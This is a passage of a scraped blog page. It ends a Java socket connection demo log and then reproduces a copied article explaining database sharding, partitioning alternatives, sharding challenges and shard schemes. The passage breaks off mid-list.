<div style="background-color: white; border-style: dotted; border-width: 1px;">
[Server]The server is listening on 4000.<br />
[Server]New connection accepted/127.0.0.1:2000<br />
[Server][REQ]hello world!<br />
[Client]socket.isBound():false<br />
[Client]fail to connect localhost:2000, try again.<br />
[Client]fail to connect localhost:2000, try again.<br />
[Client]fail to connect localhost:2000, try again.<br />
[Client]fail to connect localhost:2000, try again.<br />
[Client]Use the socket returned by ServerSocket.</div>
<br />
Please do keep in mind that the socket must be eventually closed by some way.Anonymoushttp://www.blogger.com/profile/15281890330341001231noreply@blogger.com11tag:blogger.com,1999:blog-30018430.post-34516505292971851282012-03-07T12:04:00.000+08:002012-03-07T17:38:28.585+08:00All About Database Sharding and "Shared Nothing"<blockquote class="tr_bq">
<div style="text-align: left;">
<span style="color: white; font-family: Arial, Helvetica, sans-serif; font-size: x-small;"><b style="background-color: #741b47;">A complete copy from Chris McCoy's "<span style="letter-spacing: -0.05em;"><a href="http://chrisamccoy.com/all-about-database-sharding-and-shared-nothin"><span style="color: white;">All About Database Sharding and "Shared Nothing</span></a>"</span></b></span></div>
</blockquote>
<h3 style="color: grey; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; line-height: 18px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
The Rise of Database Sharding</h3>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px; margin-bottom: 10px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
The concept of Database Sharding has been gaining popularity over the past several years, due to the enormous growth in transaction volume and size of business application databases. This is particularly true for many successful online service providers, Software as a Service (SaaS) companies, and social networking Web sites.</div>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px; margin-bottom: 10px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 1em;">
Database Sharding can be simply defined as a "shared-nothing" partitioning scheme for large databases across a number of servers, enabling new levels of database performance and scalability achievable. If you think of broken glass, you can get the concept of sharding - breaking your database down into smaller chunks called “shards” and spreading those across a number of distributed servers.</div>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px; margin-bottom: 10px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 1em;">
The term "sharding" was coined by Google engineers, and popularized through their publication of the Big Table architecture. However, the concept of "shared-nothing" database partitioning has been around for a decade or more and there have been many implementations over this period, especially high profile in-house built solutions by Internet leaders such as eBay, Amazon, Digg, Flickr, Skype, YouTube, Facebook, Friendster, and Wikipedia.</div>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px; margin-bottom: 10px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 1em;">
The focus of this paper is on the need for Database Sharding, the options available for database partitioning, and the key considerations for a successful sharding implementation.</div>
<h3 style="color: grey; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; line-height: 18px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
What Drives the Need for Database Sharding?</h3>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px; margin-bottom: 10px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
Database Sharding is a highly scalable approach for improving the throughput and overall performance of high-transaction, large database-centric business applications. Since the inception of the relational database, application engineers and architects have required ever-increasing performance and capacity, based on the simple observation that business databases generally grow in size over time. Adding to this general trend is the extreme expansion of business data due to the evolution of the Internet economy, the Information Age, and the prevalence of high-volume electronic commerce.</div>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px; margin-bottom: 10px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 1em;">
As any experienced database administrator or application developer knows all too well, it is axiomatic that as the size and transaction volume of the database tier incurs linear growth, response times tend to grow logarithmically. This is shown in the following diagram:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXzg0tTlAvbyhPZUJuVID3j7BnMWnZh4j89rwV38aXE30zqYCpeA_VvMu672Jn8Qb0j3IhH9DxB6LDvKPtNoVrANq_5AQAFL4nA-FCQlgGmlCq0CrjmqoDRibTqK3JMUgOn6DFjQ/s1600/browse(8).jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXzg0tTlAvbyhPZUJuVID3j7BnMWnZh4j89rwV38aXE30zqYCpeA_VvMu672Jn8Qb0j3IhH9DxB6LDvKPtNoVrANq_5AQAFL4nA-FCQlgGmlCq0CrjmqoDRibTqK3JMUgOn6DFjQ/s1600/browse(8).jpg" /></a></div>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px; margin-bottom: 10px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
Figure 1. The growth in database transactions and volumes has a large impact on response times.</div>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px; margin-bottom: 10px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 1em;">
The reasons for the performance and scalability challenges are inherent to the fundamental design of the database management systems themselves. Databases rely heavily on the primary three components of any computer:</div>
<ul style="color: grey; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 10px; padding-left: 0px; padding-right: 0px; padding-top: 10px;">
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">CPU</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Memory</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Disk</li>
</ul>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px; margin-bottom: 10px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
Through benchmark tests that we have performed, we know that each of these elements on a single server can only scale to a given point, and then other measures must be taken. While it is clear that disk I/O is the primary bottleneck, as database management systems have improved they also continue to take greater advantage of CPU and memory. In fact, we have observed that it is the matching of these three factors that determines maximum performance. In other words, you cannot add an unlimited number of CPUs (or processing cores) and see a commensurate increase in performance without also improving the memory capacity and performance of the disk drive subsystem. It is also common to see a diminishing return as resources are added to a single database server. These factors are especially true in mixed-use business transaction systems; systems that perform a high volume of read and write transactions, as well as supporting generalized business reporting tasks.</div>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px; margin-bottom: 10px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 1em;">
Therefore, as business applications gain sophistication and continue to grow in demand, architects, developers and database administrators have been presented with a constant challenge of maintaining database performance for mission critical systems. This landscape drives the need for Database Sharding.</div>
<h3 style="color: grey; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; line-height: 18px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
Database Partitioning Options</h3>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px; margin-bottom: 10px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
It has long been known that database partitioning is the answer to improving the performance and scalability of relational databases. Many techniques have been evolved, including:</div>
<ul style="color: grey; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 10px; padding-left: 0px; padding-right: 0px; padding-top: 10px;">
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><strong style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Master/Slave:</strong> This is the simplest option used by many organizations, with a single Master server for all write (Create Update or Delete, or CRUD) operations, and one or many additional Slave servers that provide read-only operations. The Master uses standard, near-real-time database replication to each of the Slave servers. The Master/Slave model can speed overall performance to a point, allowing read-intensive processing to be offloaded to the Slave servers, but there are several limitations with this approach:<ul style="font-size: 10px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 10px; padding-left: 0px; padding-right: 0px; padding-top: 10px;">
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">The single Master server for writes is a clear limit to scalability, and can quickly create a bottleneck.</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">The Master/Slave replication mechanism is "near-real-time," meaning that the Slave servers are not guaranteed to have a current picture of the data that is in the Master. While this is fine for some applications, if your applications require an up-to-date view, this approach is unacceptable.</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Many organizations use the Master/Slave approach for high-availability as well, but it suffers from this same limitation given that the Slave servers are not necessarily current with the Master. If a catastrophic failure of the Master server occurs, any transactions that are pending for replication will be lost, a situation that is highly unacceptable for most business transaction applications.</li>
</ul>
</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><strong style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Cluster Computing:</strong> Cluster computing utilizes many servers operating in a group, with shared messaging between the nodes of the cluster. Most often this scenario relies on a centralized shared disk facility, typically a Storage Area Network (SAN). Each node in the cluster runs a single instance of the database server, operating in various modes:<ul style="font-size: 10px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 10px; padding-left: 0px; padding-right: 0px; padding-top: 10px;">
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">For high-availability, many nodes in the cluster can be used for reads, but only one for write (CRUD) operations. This can make reads faster, but write transactions do not see any benefit. If a failure of one node occurs, then another node in the cluster takes over, again continuing to operating against the shared disk facility. This approach has limited scalability due to the single bottleneck for CRUD operations. Even the reads will ultimately hit a performance limit as the centralized shared disk facility can only spread the load so much before diminishing returns are experienced. The read limitations are particularly evident when an application requires complex joins or contains non-optimized SQL statements.</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">More advanced clustering techniques rely on real-time memory replication between nodes, keeping the memory image of nodes in the cluster up to date via a real-time messaging system. This allows each node to operate in both read or write mode, but is ultimately limited by the amount of traffic that can be transmitted between nodes (using a typical network or other high-speed communication mechanism). Therefore, as nodes are added, the communication and memory replication overhead increases geometrically, thus hitting severe scalability limits, often with a relatively small number of nodes. This solution also suffers from the same shared disk limitations of a traditional cluster, given that a growing, single large database has increasingly intensive disk I/O.</li>
</ul>
</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><strong style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Table Partitioning:</strong> Many database management systems support table partitioning, where data in a single large table can be split across multiple disks for improved disk I/O utilization. The partitioning is typically done horizontally (separating rows by range across disk partitions), but can be vertical in some systems as well (placing different columns on separate partitions). This approach can help reduce the disk I/O bottleneck for a given table, but can often make joins and other operations slower. Further, since the approach relies on a single server instance of the database management system, all other CPU and memory contention limitations apply, further limiting scalability.</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><strong style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Federated Tables:</strong> An offshoot of Table Partitioning is the Federated Table approach, where tables can be accessed across multiple servers. This approach is necessarily highly complex to administer, and lacks efficiency as the federated tables must be accessed over the network. This approach may work for some reporting or analytical tasks, but for general read/write transactions it is not a very likely choice.</li>
</ul>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px; margin-bottom: 10px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
The common drawback with each of these approaches is the reliance on shared facilities and resources. Whether relying on shared memory, centralized disk, or processor capacity they each suffer with scalability limitations, not to mention many other drawbacks, including complex administration, lack of support for critical business requirements, and high availability limitations.</div>
<h3 style="color: grey; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; line-height: 18px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
Database Sharding, The "Shared-Nothing" Approach</h3>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px; margin-bottom: 10px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
Database Sharding provides a method for scalability across independent servers, each with their own CPU, memory and disk. Contrasted with other traditional methods of achieving greater database performance, it does not suffer from many of the typical limitations posed by these other approaches. The concept of a "shared-nothing" database implementation has been under research or discussion for 15+ years, but it appears that the business application market is just now finding the more general need for such capability due to the exponential increase in data volumes over the past several years.</div>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px; margin-bottom: 10px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 1em;">
The basic concept of Database Sharding is very straightforward: take a large database, and break it into a number of smaller databases across servers. The concept is illustrated in the following diagram:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijGIWUoiBG7wAli459OLq-jZ5W7CedPZwrdGts0ZOkH4_uzWIaTqsUU9W607kwwZE876L1m24dKrUmK6dt7buEmRn-9_u7rp3pOk4Oz5fntcw0VtQonLYaSxmj8aPrFh1jI-qu8A/s1600/browse(9).jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijGIWUoiBG7wAli459OLq-jZ5W7CedPZwrdGts0ZOkH4_uzWIaTqsUU9W607kwwZE876L1m24dKrUmK6dt7buEmRn-9_u7rp3pOk4Oz5fntcw0VtQonLYaSxmj8aPrFh1jI-qu8A/s1600/browse(9).jpg" /></a></div>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px; margin-bottom: 10px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
Figure 2. Database Sharding takes large databases and breaks them down into smaller databases.</div>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px; margin-bottom: 10px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 1em;">
The obvious advantage of the shared-nothing Database Sharding approach is improved scalability, growing in a near-linear fashion as more servers are added to the network. However, there are several other advantages of smaller databases, which should not be overlooked when considering a sharding solution:</div>
<ul style="color: grey; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 10px; padding-left: 0px; padding-right: 0px; padding-top: 10px;">
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><em style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Smaller databases are easier to manage.</em> Production databases must be fully managed for regular backups, database optimization and other common tasks. With a single large database these routine tasks can be very difficult to accomplish, if only in terms of the time window required for completion. Routine table and index optimizations can stretch to hours or days, in some cases making regular maintenance infeasible. By using the sharding approach, each individual "shard" can be maintained independently, providing a far more manageable scenario, performing such maintenance tasks in parallel.</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><em style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Smaller databases are faster.</em> The scalability of sharding is apparent, achieved through the distribution of processing across multiple shards and servers in the network. What is less apparent is the fact that each individual shard database will outperform a single large database due to its smaller size. By hosting each shard database on its own server, the ratio between memory and data on disk is greatly improved, thereby reducing disk I/O. This results in less contention for resources, greater join performance, faster index searches, and fewer database locks. Therefore, not only can a sharded system scale to new levels of capacity, individual transaction performance is benefited as well.</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><em style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Database Sharding can reduce costs.</em> Most Database Sharding implementations take advantage of lower-cost open source databases, or can even take advantage of "workgroup" versions of commercial databases. Additionally, sharding works well with commodity multi-core server hardware, far less expensive than high-end multi-CPU servers and expensive SANs. The overall reduction in cost due to savings in license fees, software maintenance and hardware investment is substantial, in some cases 70% or more when compared to other solutions.</li>
</ul>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px; margin-bottom: 10px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
There is no doubt that Database Sharding is a viable solution for many organizations, supported by the number of large online vendors and SaaS organizations that have implemented the technology (giants such as Amazon, eBay, and of course Google).</div>
<h3 style="color: grey; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; line-height: 18px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
Practicalities of Database Sharding</h3>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px; margin-bottom: 10px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
If Database Sharding is highly scalable, less costly, and improves performance, why hasn't adoption of the technology been more widespread? Is it feasible for your organization?</div>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px; margin-bottom: 10px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 1em;">
The reality is that Database Sharding is a very useful technology, but like other approaches, there are many factors to consider that ensure a successful implementation. Further, there are some limitations and Database Sharding will not work well for every type of business application. This chapter discusses these critical considerations and how they can be addressed.</div>
<h3 style="color: grey; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; line-height: 18px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
Database Sharding Challenges</h3>
<div style="color: #444444; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 19px; margin-bottom: 10px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
Due to the distributed nature of individual databases, a number of key elements must be taken into account:</div>
<ul style="color: grey; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 10px; padding-left: 0px; padding-right: 0px; padding-top: 10px;">
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><em style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Reliability.</em> First and foremost, any production business application must be reliable and fault-tolerant, and cannot be subject to frequent outages. The database tier is often the single most critical element in any reliability design, and therefore an implementation of Database Sharding is no exception. In fact, due to the distributed nature of multiple shard databases, the criticality of a well-designed approach is even greater. To ensure a fault-tolerant and reliable approach, the following items are required:<ul style="font-size: 10px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 10px; padding-left: 0px; padding-right: 0px; padding-top: 10px;">
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Automated backups of individual Database Shards.</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Database Shard redundancy, ensuring at least 2 "live" copies of each shard are available in the event of an outage or server failure. This requires a high-performance, efficient, and reliable replication mechanism.</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Cost-effective hardware redundancy, both within and across servers.</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Automated failover when an outage or server failure occurs.</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Disaster Recovery site management.</li>
</ul>
</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><em style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Distributed queries.</em> Many types of queries can be processed far faster using distributed queries, performing parallel processing of interim results on each shard server. This technique can achieve order-of-magnitude improvements in performance, in many cases 10X or more. To enable distributed queries in a seamless manner for the application, it is important to have a facility that can process a segment of the query on each individual shard, and then consolidate the results into a single result set for the application tier. Common queries that can benefit from distributed processing are:<ul style="font-size: 10px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 10px; padding-left: 0px; padding-right: 0px; padding-top: 10px;">
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Aggregation of statistics, requiring a broad sweep of data across the entire system. Such an example is the computation of sales by product, which ordinarily requires evaluation of the entire database.</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Queries that support comprehensive reports, such as listings of all individual customers that purchased a given product in the last day, week or month.</li>
</ul>
</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><em style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Avoidance of cross-shard joins.</em> In a sharded system, queries or other statements that use inner-joins that span shards are highly inefficient and difficult to perform. In the majority of cases, it has been found that such inner-joins are not actually required by an application, so long as the correct techniques are applied. The primary technique is the replication of Global Tables, the relatively static lookup tables that are common utilized when joining to much larger primary tables. Tables containing values as Status Codes, Countries, Types, and even Products fall into this category. What is required is an automated replication mechanism that ensures values for Global Tables are in synch across all shards, minimizing or eliminating the need for cross-shard joins.</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><em style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Auto-increment key management.</em> Typical auto-increment functionality provided by database management systems generate a sequential key for each new row inserted into the database. This is fine for a single database application, but when using Database Sharding, keys must be managed across all shards in a coordinated fashion. The requirement here is to provide a seamless, automated method of key generation to the application, one that operates across all shards, ensuring that keys are unique across the entire system.</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><em style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Support for multiple Shard Schemes.</em> It is important to note that Database Sharding is effective because it offers an application specific technique for massive scalability and performance improvements. In fact it can be said that the degree of effectiveness is directly related to how well the sharding algorithms themselves are tailored to the application problem at hand. What is required is a set of multiple, flexible shard schemes, each designed to address a specific type of application problem. Each scheme has inherent performance and/or application characteristics and advantages when applied to a specific problem domain. In fact, using the wrong shard scheme can actually inhibit performance and the very results you are trying to obtain. It is also not uncommon for a single application to use more than one shard scheme, each applied to a specific portion of the application to achieve optimum results. Here is a list of some common shard schemes:</li>
</ul>
<ul style="color: grey; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 10px; padding-left: 0px; padding-right: 0px; padding-top: 10px;">
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Session-based sharding, where each individual user or process interacts with a specific shard for the duration of the user or process session. This is the simplest technique to implement, and adds virtually zero overhead to overall performance, since the sharding decision is made only once per session. Applications which can benefit from this approach are often customer-centric, where all data for a given customer is contained in a single shard, and that is all the data that the customer requires.</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Transaction-based sharding determines the shard by examining the first SQL Statement in a given database transaction. This is normally done by evaluating the "shard key" value used in the statement (such as an Order Number), and then directing all other statements in the transaction to the same shard.</li>
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Statement-based sharding is the most process intensive of all types, evaluating each individual SQL Statement to determine the appropriate shard to direct it to. Again, evaluation of the shard key value is required. This option is often desirable on high-volume, granular transactions, such as recording phone call records.</li>
</ul>
<br />
<br />
<br />
<li style="color: grey; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 18px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Determine the optimum method for sharding the data. This is another area that is highly variable, change from application to application. It is closely tied with the selection of the Database Shard Scheme described above. There are numerous methods for deciding how to shard your data, and its important to understand your transaction rates, table volumes, key distribution, and other characteristics of your application. This data is required to determine the optimum sharding strategy:</li>
<br />
<ul style="color: grey; font-family: 'Helvetica Light', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 10px; padding-left: 0px; padding-right: 0px; padding-top: 10px;">
<li style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Shard by a primary key on a table. This is the most straightforward option, and easiest to map to a given application. However, this is only effective if your data is reasonably well distributed. For example, if you elected to shard by Customer ID (and this is a sequential numeric value), and most of your transactions are for new customers, very little if anything will be gained by sharding your database. On the other hand, if you can select a key that does adequately and naturally distribute your transactions, great benefits can be realized.</li>
